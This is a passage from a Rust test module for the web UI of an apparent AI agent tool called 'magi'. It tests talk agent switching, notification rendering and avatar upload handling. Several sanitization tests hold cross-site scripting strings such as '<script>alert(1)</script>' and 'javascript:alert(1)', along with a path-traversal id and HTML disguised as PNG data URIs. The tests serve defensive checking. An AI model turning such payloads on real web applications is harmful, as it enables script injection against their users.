13174 )
13175 .expect("write magi.toml");
13176 let home = TempDir::new().expect("temp home");
13177 let talks = Talks::at(home.path().join("talks"));
13178 let ui = Arc::new(
13179 Ui::new(
13180 Queue::at(home.path().join("queue")),
13181 Questions::at(home.path().join("questions")),
13182 talks.clone(),
13183 home.path().join("runs"),
13184 home.path().to_path_buf(),
13185 repo.clone(),
13186 )
13187 .with_worktrees_root(home.path().join("wt")),
13188 );
13189 let cfg = config_for(&repo).await.expect("discover config");
13190 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13191 let id = talk.id.clone();
13192 let call = |agent: &str| {
13193 talk_agent(
13194 State(Arc::clone(&ui)),
13195 Path(id.clone()),
13196 Json(TalkAgent {
13197 agent: agent.to_owned(),
13198 }),
13199 )
13200 };
13201
13202 let unknown = call("nobody").await.expect_err("unknown agent");
13203 assert_eq!(
13204 unknown.status,
13205 StatusCode::BAD_REQUEST,
13206 "{}",
13207 unknown.message
13208 );
13209
13210 {
13211 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13214 let busy = call("second").await.expect_err("busy talk");
13215 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13216 assert!(
13217 busy.message.contains("a talk turn is running"),
13218 "{}",
13219 busy.message
13220 );
13221 drop(guard);
13222 }
13223 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13224
13225 let Json(view) = call("second").await.expect("switch");
13226 assert_eq!(view.talk.agent, "second");
13227 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13228 let saved = talks.get(&id).expect("reload");
13229 assert_eq!(saved.agent, "second");
13230 assert_eq!(saved.turns.len(), 1);
13231 assert!(!view.thinking);
13232 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13233 for agent in ["mock", "second"] {
13234 let Json(view) = call(agent).await.expect("immediate consecutive change");
13235 assert_eq!(view.talk.agent, agent);
13236 assert!(!view.thinking);
13237 assert!(!ui.is_thinking(&id));
13238 }
13239
13240 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13241 .await
13242 .expect("detail");
13243 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13244 assert_eq!(roster, ["mock", "second"]);
13245
13246 let mut closed = talks.get(&id).expect("reload");
13247 talk::close(&mut closed, &talks).expect("close");
13248 let refused = call("mock").await.expect_err("closed talk");
13249 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13250 assert!(
13251 refused.message.contains("takes no more turns"),
13252 "{}",
13253 refused.message
13254 );
13255 }
13256
13257 #[tokio::test]
13258 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13259 let tmp = TempDir::new().expect("tempdir");
13260 let repo = tmp.path().join("repo");
13261 std::fs::create_dir_all(&repo).expect("repo dir");
13262 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13263 let home = TempDir::new().expect("temp home");
13264 let talks = Talks::at(home.path().join("talks"));
13265 let ui = Arc::new(
13266 Ui::new(
13267 Queue::at(home.path().join("queue")),
13268 Questions::at(home.path().join("questions")),
13269 talks.clone(),
13270 home.path().join("runs"),
13271 home.path().to_path_buf(),
13272 repo.clone(),
13273 )
13274 .with_worktrees_root(home.path().join("wt")),
13275 );
13276 let cfg = config_for(&repo).await.expect("discover config");
13277 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13278 let id = talk.id.clone();
13279 let call = |n: u8| {
13280 talk_implementers(
13281 State(Arc::clone(&ui)),
13282 Path(id.clone()),
13283 Json(TalkImplementers { implementers: n }),
13284 )
13285 };
13286
13287 for bad in [0u8, 4] {
13288 let e = call(bad).await.expect_err("out of range");
13289 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13290 }
13291 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13292
13293 {
13294 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13297 let busy = call(2).await.expect_err("busy talk");
13298 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13299 assert!(
13300 busy.message.contains("a talk turn is running"),
13301 "{}",
13302 busy.message
13303 );
13304 drop(guard);
13305 }
13306
13307 let Json(view) = call(3).await.expect("switch");
13308 assert_eq!(view.talk.implementers, 3);
13309 assert!(talks.get(&id).expect("reload").implementers_dirty);
13310 assert!(!view.thinking);
13311 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13312 for n in [1, 2, 3] {
13313 let Json(view) = call(n).await.expect("immediate consecutive change");
13314 assert_eq!(view.talk.implementers, n);
13315 assert!(!view.thinking);
13316 assert!(!ui.is_thinking(&id));
13317 }
13318
13319 let mut closed = talks.get(&id).expect("reload");
13320 talk::close(&mut closed, &talks).expect("close");
13321 let e = call(2).await.expect_err("closed talk");
13322 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13323 assert!(e.message.contains("takes no more turns"), "{}", e.message);
13324 }
13325
13326 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13328 let tmp = TempDir::new().expect("tempdir");
13329 let repo = tmp.path().join("repo");
13330 std::fs::create_dir_all(&repo).expect("repo dir");
13331 std::fs::write(
13332 repo.join("magi.toml"),
13333 format!("{MOCK_AGENT_TOML}\n{extra}"),
13334 )
13335 .expect("write magi.toml");
13336 let home = TempDir::new().expect("temp home");
13337 let talks = Talks::at(home.path().join("talks"));
13338 let ui = Arc::new(
13339 Ui::new(
13340 Queue::at(home.path().join("queue")),
13341 Questions::at(home.path().join("questions")),
13342 talks.clone(),
13343 home.path().join("runs"),
13344 home.path().to_path_buf(),
13345 repo.clone(),
13346 )
13347 .with_worktrees_root(home.path().join("wt")),
13348 );
13349 let cfg = config_for(&repo).await.expect("discover config");
13350 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13351 (tmp, home, ui, talk.id, repo)
13352 }
13353
13354 #[tokio::test]
13355 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13356 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13357 let mut conversation = ui.talks.get(&id).unwrap();
13358 talk::record(
13359 &mut conversation,
13360 &ui.talks,
13361 "# Update on a task you filed\noperator words",
13362 vec![],
13363 )
13364 .unwrap();
13365 conversation.turns[0].sender = None;
13367 conversation.turns[0].messages.clear();
13368 ui.talks.put(&mut conversation).unwrap();
13369 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13370 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13371 talk::drain(&mut conversation, &ui.talks).unwrap();
13372 talk::record_reply(
13373 &mut conversation,
13374 &ui.talks,
13375 "about that report",
13376 vec![],
13377 Some(talk::ReplyTarget {
13378 turn: 1,
13379 message: 1,
13380 }),
13381 )
13382 .unwrap();
13383 conversation.turns[2].messages[0]
13384 .reply
13385 .as_mut()
13386 .unwrap()
13387 .sender = None;
13388 conversation.turns.push(talk::Turn {
13389 sender: Some(talk::Sender::Persona),
13390 who: talk::Who::Agent,
13391 body: "magi: actual persona words".into(),
13392 at: Timestamp::now(),
13393 attachments: vec![],
13394 usage: None,
13395 breaks: None,
13396 messages: vec![],
13397 posted_by: None,
13398 });
13399 ui.talks.put(&mut conversation).unwrap();
13400 let view = TalkView::with_config(
13401 ui.talks.get(&id).unwrap(),
13402 false,
13403 None,
13404 &ui.home,
13405 &ui.references,
13406 );
13407 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13408 assert_eq!(
13409 view.talk.turns[1].messages[0].sender,
13410 Some(talk::Sender::Operator)
13411 );
13412 assert_eq!(
13413 view.talk.turns[1].messages[1].sender,
13414 Some(talk::Sender::Magi)
13415 );
13416 assert_eq!(
13417 view.talk.turns[2].messages[0]
13418 .reply
13419 .as_ref()
13420 .unwrap()
13421 .sender,
13422 Some(talk::Sender::Magi)
13423 );
13424 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13425 assert_eq!(view.turn_messages_md[0].len(), 1);
13426 assert!(view.turn_messages_md[0][0].is_none());
13427 assert!(view.turn_messages_md[1][0].is_none());
13428 assert!(view.turn_messages_md[1][1].is_some());
13429 }
13430
13431 #[tokio::test]
13432 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13433 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13434 let mut conversation = ui.talks.get(&id).unwrap();
13435 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13436 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13437 talk::queue_notice(
13438 &mut conversation,
13439 &ui.talks,
13440 &body,
13441 "watch:123",
13442 &|_| false,
13443 None,
13444 display.clone(),
13445 )
13446 .unwrap();
13447 assert!(
13448 !talk::queue_notice(
13449 &mut conversation,
13450 &ui.talks,
13451 &body,
13452 "watch:123",
13453 &|_| false,
13454 None,
13455 display.clone()
13456 )
13457 .unwrap()
13458 );
13459 let saved = ui.talks.get(&id).unwrap();
13460 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13461 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13462 assert!(
13463 view.talk.turns[0].messages[0].display.is_none(),
13464 "operator copy stays literal"
13465 );
13466 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13467 assert!(view.turn_messages_md[0][0].is_none());
13468 let queued_md = view.pending_messages_md[0].clone();
13469 assert_eq!(
13470 queued_md,
13471 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13472 );
13473 talk::drain(&mut conversation, &ui.talks).unwrap();
13474 talk::record_reply(
13475 &mut conversation,
13476 &ui.talks,
13477 "Explain",
13478 vec![],
13479 Some(talk::ReplyTarget {
13480 turn: 1,
13481 message: 0,
13482 }),
13483 )
13484 .unwrap();
13485 let mut saved = ui.talks.get(&id).unwrap();
13486 assert_eq!(saved.turns[1].messages[0].body, body);
13487 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13488 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13489 assert!(!reply.excerpt.contains("automatic report"));
13490 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
13493 let view = TalkView::with_config(
13494 ui.talks.get(&id).unwrap(),
13495 false,
13496 None,
13497 &ui.home,
13498 &ui.references,
13499 );
13500 assert_eq!(view.turn_messages_md[1][0], queued_md);
13501 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13502 assert!(
13503 !view.talk.turns[2].messages[0]
13504 .reply
13505 .as_ref()
13506 .unwrap()
13507 .excerpt
13508 .contains("automatic report")
13509 );
13510 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13511 }
13512
13513 #[tokio::test]
13514 async fn consultation_display_hides_directives_in_queue_and_history() {
13515 for node in [
13516 "implement",
13517 crate::land::APPROVAL_NODE,
13518 crate::github_text::ASK_NODE,
13519 ] {
13520 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13521 let mut question = Question::new(
13522 "run-123".into(),
13523 node.into(),
13524 "seat-1".into(),
13525 "Which backend?".into(),
13526 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13527 vec!["SQLite".into(), "Redis".into()],
13528 );
13529 ui.questions.put(&mut question).unwrap();
13530 let body = crate::prompt::chat_consult(&question);
13531 let mut conversation = ui.talks.get(&id).unwrap();
13532 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13533 assert!(
13534 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13535 );
13536 conversation = ui.talks.get(&id).unwrap();
13537 assert_eq!(conversation.pending_messages[0].body, body);
13538 assert!(body.contains("magi answer"));
13539 let mut legacy_pending = conversation.clone();
13540 legacy_pending.pending_messages[0].display = None;
13541 let legacy_view =
13542 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13543 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13544 assert!(legacy_md.contains("Question consultation"));
13545 assert!(!legacy_md.contains("magi answer"));
13546 let view =
13547 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13548 assert!(
13549 view.turn_messages_md[0][0].is_none(),
13550 "operator copy stays literal"
13551 );
13552 let queued_md = view.pending_messages_md[0].clone().unwrap();
13553 let rendered = serde_json::to_string(&queued_md).unwrap();
13554 for visible in [
13555 "Which backend?",
13556 "Context",
13557 "storage",
13558 "SQLite",
13559 "Redis",
13560 "<script>literal</script>",
13561 ] {
13562 assert!(rendered.contains(visible), "missing {visible}");
13563 }
13564 for directive in [
13565 "What to do",
13566 "magi answer",
13567 "Never answer it yourself",
13568 "Do not edit the repository",
13569 ] {
13570 assert!(!rendered.contains(directive), "exposed {directive}");
13571 }
13572 assert_eq!(
13573 view.talk.pending_messages[0].display,
13574 Some(crate::prompt::chat_consult_display(&question))
13575 );
13576 talk::drain(&mut conversation, &ui.talks).unwrap();
13577 let view =
13578 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13579 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13580 assert_eq!(conversation.turns[1].messages[0].body, body);
13581
13582 conversation.turns[1].messages[0].display = None;
13585 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13586 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13587 assert!(legacy.contains("Question consultation"));
13588 assert!(!legacy.contains("magi answer"));
13589 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13590 }
13591 }
13592
13593 #[test]
13594 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13595 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13596 let (body, mut display) =
13597 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13598 display.facts = facts.into();
13599 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13600 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13601 let json = serde_json::to_string(&nodes).unwrap();
13602 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
13603 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
13604 }
13605 assert!(json.contains("<script>alert(1)</script>"));
13606 assert!(!json.contains("javascript:"));
13607 assert!(!json.contains("Tell the operator"));
13608 assert!(!json.contains("untrusted"));
13609 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
13610 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
13611 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13612 assert_eq!(
13613 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
13614 md::to_nodes("# Status", &md::ImageBase::None),
13615 );
13616 }
13617
13618 #[tokio::test]
13619 async fn notification_display_recovers_exact_legacy_completion_references() {
13620 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13621 let mut conversation = ui.talks.get(&id).unwrap();
13622 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
13623 id: "task-123",
13624 title: "Change",
13625 status: "done",
13626 reason: None,
13627 run: Some("run-123"),
13628 pr: None,
13629 summary: Some("Merge state unknown"),
13630 });
13631 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13632 conversation.turns[0].sender = None;
13633 conversation.turns[0].messages.clear();
13634 conversation.turns[0].breaks = None;
13635 conversation.pending = body.clone();
13636 conversation
13637 .completion_notices
13638 .push(crate::chat_notify::CompletionReference {
13639 task: "task-123".into(),
13640 run: Some("run-123".into()),
13641 notice: body.clone(),
13642 });
13643 ui.talks.put(&mut conversation).unwrap();
13644 let view = TalkView::with_config(
13645 ui.talks.get(&id).unwrap(),
13646 false,
13647 None,
13648 &ui.home,
13649 &ui.references,
13650 );
13651 assert_eq!(
13652 view.talk.turns[0].messages[0].display,
13653 Some(display.clone())
13654 );
13655 assert_eq!(view.talk.pending_messages[0].display, Some(display));
13656 assert_eq!(
13657 view.talk.turns[0].messages[0].sender,
13658 Some(talk::Sender::Magi)
13659 );
13660 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
13661 conversation.completion_notices[0]
13662 .notice
13663 .push_str("different");
13664 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13665 assert!(view.talk.turns[0].messages.is_empty());
13666 assert!(view.talk.pending_messages.is_empty());
13667 }
13668
13669 #[tokio::test]
13670 async fn avatar_settings_report_states_and_inherit_after_corruption() {
13671 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13672 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
13673 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
13674 ))
13675 .await;
13676 let path = avatar_setting_path(home.path(), Some("rei"));
13677 let orphan = avatar_setting_path(home.path(), Some("removed"));
13678 save_icon_file(&orphan, icon).unwrap();
13679 for (saved, expected) in [
13680 (icon, "custom"),
13681 ("builtin", "builtin"),
13682 ("data:image/png;base64,!!!!", "inherit"),
13683 ("data:image/png;base64,PGh0bWw+", "inherit"),
13684 ("/tmp/avatar.png", "inherit"),
13685 ] {
13686 atomic_icon_write(&path, saved).unwrap();
13687 let catalog =
13688 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
13689 .await
13690 .unwrap()
13691 .0;
13692 let personas = catalog["personas"].as_array().unwrap();
13693 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
13694 assert_eq!(rei["override_state"], expected);
13695 assert_eq!(rei["has_config_icon"], true);
13696 assert_eq!(rei["is_orphan"], false);
13697 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
13698 assert_eq!(removed["override_state"], "custom");
13699 assert_eq!(removed["is_orphan"], true);
13700 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
13701 assert_eq!(default["override_state"], "inherit");
13702 assert_eq!(default["has_config_icon"], false);
13703 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
13704 assert_eq!(
13705 effective.as_deref(),
13706 Some(if expected == "builtin" { "" } else { icon })
13707 );
13708 }
13709 }
13710
13711 #[tokio::test]
13712 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
13713 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13714 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
13715 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
13716 ))
13717 .await;
13718 let target = |id: Option<&str>| AvatarSettingsQuery {
13719 persona: id.map(str::to_owned),
13720 ..Default::default()
13721 };
13722 let original_config = config_for(&repo).await.unwrap();
13723 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
13724 let original_prompt = persona::section_for(&original_persona, None);
13725 let before = talk_detail(State(ui.clone()), Path(id.clone()))
13726 .await
13727 .unwrap()
13728 .0;
13729 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
13730 let _ = avatar_settings_put(
13731 State(ui.clone()),
13732 Query(target(persona)),
13733 Json(MagiIconUpload { icon: icon.into() }),
13734 )
13735 .await
13736 .unwrap();
13737 let path = avatar_setting_path(home.path(), persona);
13738 assert!(path.starts_with(home.path().join("avatars")));
13739 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13740 for bad in [
13741 "/tmp/image.png".to_owned(),
13742 "data:image/png;base64,!!!!".to_owned(),
13743 "data:image/png;base64,PGh0bWw+".to_owned(),
13744 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13745 format!(
13746 "data:image/png;base64,{}",
13747 "A".repeat(persona_icon::ICON_MAX_BYTES)
13748 ),
13749 ] {
13750 assert!(
13751 avatar_settings_put(
13752 State(ui.clone()),
13753 Query(target(persona)),
13754 Json(MagiIconUpload { icon: bad })
13755 )
13756 .await
13757 .is_err()
13758 );
13759 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13760 }
13761 }
13762 assert!(read_magi_icon(home.path()).is_none());
13763 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
13764 let after = talk_detail(State(ui.clone()), Path(id.clone()))
13765 .await
13766 .unwrap()
13767 .0;
13768 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
13769 assert_ne!(
13770 before
13771 .personas
13772 .iter()
13773 .find(|p| p.id == "magi")
13774 .unwrap()
13775 .avatar,
13776 after
13777 .personas
13778 .iter()
13779 .find(|p| p.id == "magi")
13780 .unwrap()
13781 .avatar
13782 );
13783 let restarted = Arc::new(Ui::new(
13784 Queue::at(home.path().join("queue")),
13785 Questions::at(home.path().join("questions")),
13786 Talks::at(home.path().join("talks")),
13787 home.path().join("runs"),
13788 home.path().to_owned(),
13789 repo,
13790 ));
13791 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
13792 .await
13793 .unwrap()
13794 .0;
13795 assert!(
13796 catalog["personas"]
13797 .as_array()
13798 .unwrap()
13799 .iter()
13800 .any(|p| p["id"] == "../custom/日本語")
13801 );
13802 for expected in ["custom", "default", "rei"] {
13803 assert!(
13804 catalog["personas"]
13805 .as_array()
13806 .unwrap()
13807 .iter()
13808 .any(|p| p["id"] == expected)
13809 );
13810 }
13811 let response =
13812 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
13813 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13814 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
13815 .await
13816 .unwrap();
13817 assert_eq!(
13818 effective_persona_icon(home.path(), "rei", Some(icon)),
13819 Some(String::new())
13820 );
13821 let response = talk_avatar(
13822 State(restarted.clone()),
13823 Path(id.clone()),
13824 Query(AvatarQuery {
13825 persona: Some("rei".into()),
13826 ..Default::default()
13827 }),
13828 )
13829 .await
13830 .unwrap();
13831 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
13832 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
13833 .await
13834 .unwrap()
13835 .0;
13836 assert_ne!(
13837 after
13838 .personas
13839 .iter()
13840 .find(|p| p.id == "rei")
13841 .unwrap()
13842 .avatar,
13843 reset
13844 .personas
13845 .iter()
13846 .find(|p| p.id == "rei")
13847 .unwrap()
13848 .avatar
13849 );
13850 let mut inherit = target(Some("rei"));
13851 inherit.inherit = Some("1".into());
13852 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
13853 .await
13854 .unwrap();
13855 assert_eq!(
13856 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
13857 Some(icon)
13858 );
13859 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
13860 .await
13861 .unwrap();
13862 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
13863 assert_eq!(
13864 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
13865 Some(icon)
13866 );
13867 let cfg = config_for(&ui.repo).await.unwrap();
13869 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
13870 assert_eq!(persona::section_for(&resolved, None), original_prompt);
13871 assert!(!original_prompt.contains("data:image"));
13872 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
13873 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
13874 assert!(!stored.contains("data:image"));
13875 let mut orphan = ui.talks.get(&id).unwrap();
13876 orphan.persona = "../custom/日本語".into();
13877 let view = TalkView::with_config(
13878 orphan,
13879 false,
13880 Some(&cfg),
13881 home.path(),
13882 &id_links::IndexCache::default(),
13883 );
13884 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
13885 }
13886
13887 #[tokio::test]
13888 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
13889 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
13890 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13891 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13892 let _ = magi_icon_put(
13893 State(ui.clone()),
13894 Json(MagiIconUpload { icon: icon.into() }),
13895 )
13896 .await
13897 .unwrap();
13898 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13899 assert_ne!(original, changed);
13900 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13901 let response = magi_avatar(
13902 State(ui.clone()),
13903 Query(AvatarQuery {
13904 persona: None,
13905 builtin: None,
13906 }),
13907 )
13908 .await;
13909 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13910 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
13911 assert_eq!(
13912 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
13913 "nosniff"
13914 );
13915 for bad in [
13916 "data:image/png;base64,PGh0bWw+".to_owned(),
13917 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13918 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
13919 ] {
13920 assert!(save_magi_icon(home.path(), &bad).is_err());
13921 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13922 }
13923 let restarted = Arc::new(Ui::new(
13925 Queue::at(home.path().join("queue")),
13926 Questions::at(home.path().join("questions")),
13927 Talks::at(home.path().join("talks")),
13928 home.path().join("runs"),
13929 home.path().to_path_buf(),
13930 repo,
13931 ));
13932 assert_eq!(
13933 magi_icon_get(State(restarted.clone())).await.0["avatar"],
13934 changed
13935 );
13936 let view = TalkView::with_config(
13937 restarted.talks.get(&id).unwrap(),
13938 false,
13939 None,
13940 &restarted.home,
13941 &restarted.references,
13942 );
13943 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
13944 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
13945 let response = magi_avatar(
13946 State(ui.clone()),
13947 Query(AvatarQuery {
13948 persona: None,
13949 builtin: None,
13950 }),
13951 )
13952 .await;
13953 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
13954 .await
13955 .unwrap();
13956 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
13957 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
13958 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
13959 let _ = magi_icon_delete(State(ui)).await.unwrap();
13960 }
13961
13962 async fn avatar(
13964 ui: &Arc<Ui>,
13965 id: &str,
13966 persona: Option<&str>,
13967 builtin: bool,
13968 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
13969 let res = talk_avatar(
13970 State(Arc::clone(ui)),
13971 Path(id.to_owned()),
13972 Query(AvatarQuery {
13973 persona: persona.map(str::to_owned),
13974 builtin: builtin.then(|| "1".to_owned()),
13975 }),
13976 )
13977 .await
13978 .expect("an avatar is never an error response");
13979 let h = res.headers();
13980 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
13981 let nosniff = h
13982 .get(header::X_CONTENT_TYPE_OPTIONS)
13983 .is_some_and(|v| v == "nosniff");
13984 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
13985 let status = res.status();
13986 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13987 .await
13988 .expect("body")
13989 .to_vec();
13990 (status, ct, nosniff, csp, body)
13991 }
13992
13993 fn tiny_png() -> Vec<u8> {
13994 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
13995 b.extend_from_slice(&[0u8; 32]);
13996 b
13997 }
13998
13999 #[tokio::test]
14000 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14001 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14002 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14003 assert_eq!(res.status(), StatusCode::OK);
14004 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14005 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14006 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14007 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14008 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14009 .await
14010 .unwrap();
14011 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14012 assert_ne!(
14013 persona_icon::operator_svg(),
14014 persona_icon::builtin_svg("default")
14015 );
14016 }
14017
14018 #[tokio::test]
14019 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14020 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14021 for p in [
14022 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14023 ] {
14024 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14025 assert_eq!(status, StatusCode::OK, "{p}");
14026 assert_eq!(ct, "image/svg+xml", "{p}");
14027 assert!(nosniff && csp, "{p}");
14028 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14029 }
14030 let own = avatar(&ui, &id, None, false).await;
14032 let default = avatar(&ui, &id, Some("default"), false).await;
14033 assert_eq!(own.4, default.4);
14034 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14035 assert_eq!(unknown.1, "image/svg+xml");
14036 }
14037
14038 #[tokio::test]
14039 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14040 let dir = TempDir::new().expect("icons");
14041 let good = dir.path().join("good.png");
14042 std::fs::write(&good, tiny_png()).unwrap();
14043 let spoof = dir.path().join("spoof.png");
